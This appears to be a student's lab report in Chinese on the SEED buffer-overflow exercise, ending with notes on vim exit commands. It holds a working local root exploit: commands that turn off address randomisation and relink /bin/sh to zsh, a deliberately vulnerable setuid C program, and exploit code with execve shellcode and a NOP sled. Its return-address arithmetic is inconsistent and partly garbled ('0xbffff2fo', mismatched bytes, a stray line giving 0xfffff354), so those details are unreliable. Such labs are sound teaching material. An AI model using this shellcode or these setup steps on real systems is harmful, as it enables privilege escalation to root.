缓冲区溢出漏洞实验

时间：2021-05-03 06:58:10

实验原理

   缓冲区溢出是指程序向一个已分配内存的固定长度缓冲区写数据，使得数据超出了缓冲区的边界。用心不良的用户就可以利用这个漏洞改变程序执行的方向，甚至可以执行一段恶意的代码。本质上说，漏洞的根源是计算机的内存中，数据和指令（例如函数的返回地址）是一起存储的，这样数据部分的溢出可能会影响到程序指令部分的执行，例如函数的返回地址指令就有可能会被改写。
   本次实验提供一个具有缓冲区漏洞的程序，我们的任务是利用这个漏洞获取root权限。

实验内容

环境配置

第一步

在UbuntuSEED系统中，目前都使用内存地址随机化的机制来初始化堆栈，这将会使得猜测具体的内存地址变得十分困难，所以在本试验中，用下列命令关闭内存随机化机制：

$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

缓冲区溢出漏洞实验

第二步

此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。

linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：

sudo su
cd /bin
rm sh
ln -s /bin/zsh /bin/sh
exit

shellcode

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。在开始攻击之前，我们需要一段shellcode，shellcode是一段启动shell命令的代码。这段代码被放置在内存中，我们让具有缓冲区漏洞的程序跳到这段代码上去执行它。

漏洞程序

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

缓冲区溢出漏洞实验

编译漏洞程序命令：

$ su root
password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit

缓冲区溢出漏洞实验

攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码，“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。

现在我们要得到shellcode在内存中的地址，输入命令：

gdb stack

disass main

结果如图：
缓冲区溢出漏洞实验
接下来的操作：
缓冲区溢出漏洞实验

根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xbffff2fo(十六进制)+100(十进制)=0xbffff354(十六进制)

现在修改exploit.c文件！将\x??\x??\x??\x??修改为\x54\xf3\xff\xff

然后，编译exploit.c程序：(十六进制)+100(十进制)=0xfffff354(十六进制)

gcc -m32 -o exploit exploit.c

攻击结果

先运行攻击程序exploit，再运行漏洞程序stack，观察结果：
缓冲区溢出漏洞实验

困难及解决

使用vim进行命令行编辑的时候，输入:wq无法退出，一直提示错误，无法退出，是因为着急忘了先按下ESC退出编辑模式在进行输入。但是使用了另外的方法解决的，输入　:w newfile把当前文件的内容保存到指定的newfile中，而原有文件保持不变。
然后仔细学习了几个vim退出命令。

  • 在命令模式中，连按两次大写字母Z，若当前编辑的文件曾被修改过，则Vi保存该文件后退出，返回到shell；若当前编辑的文件没被修改过，则Vi直接退出, 返回到shell。
  • 在末行模式下，输入命令

　　:w

　　Vi保存当前编辑文件，但并不退出，而是继续等待用户输入命令。在使用w命令时，可以再给编辑文件起一个新的文件名。

  • 　:w newfile

　　此时Vi将把当前文件的内容保存到指定的newfile中，而原有文件保持不变。若newfile是一个已存在的文件，则Vi在显示窗口的状态行给出提示信息：

　　File exists (use ! to override)

　　此时，若用户真的希望用文件的当前内容替换newfile中原有内容，可使用命令

　　:w! newfile

　　否则可选择另外的文件名来保存当前文件。

  • 在末行模式下，输入命令

　　:q

　　系统退出Vi返回到shell。若在用此命令退出Vi时，编辑文件没有被保存，则Vi在显示窗口的最末行显示如下信息：

　　No write since last change (use ! to overrides)

　　提示用户该文件被修改后没有保存，然后Vi并不退出，继续等待用户命令。若用户就是不想保存被修改后的文件而要强行退出Vi时，可使用命令

　　:q!

　　Vi放弃所作修改而直接退到shell下，并不保存已经编辑的文件。

  • 在末行模式下，输入命令

　:wq

　　Vi将先保存文件，然后退出Vi返回到shell。

*　　在末行模式下，输入命令

　　:x

　　该命令的功能同命令模式下的ZZ命令功能相同。

  • 学习还是要扎扎实实切不可粗心大意，小细节不可忽视。
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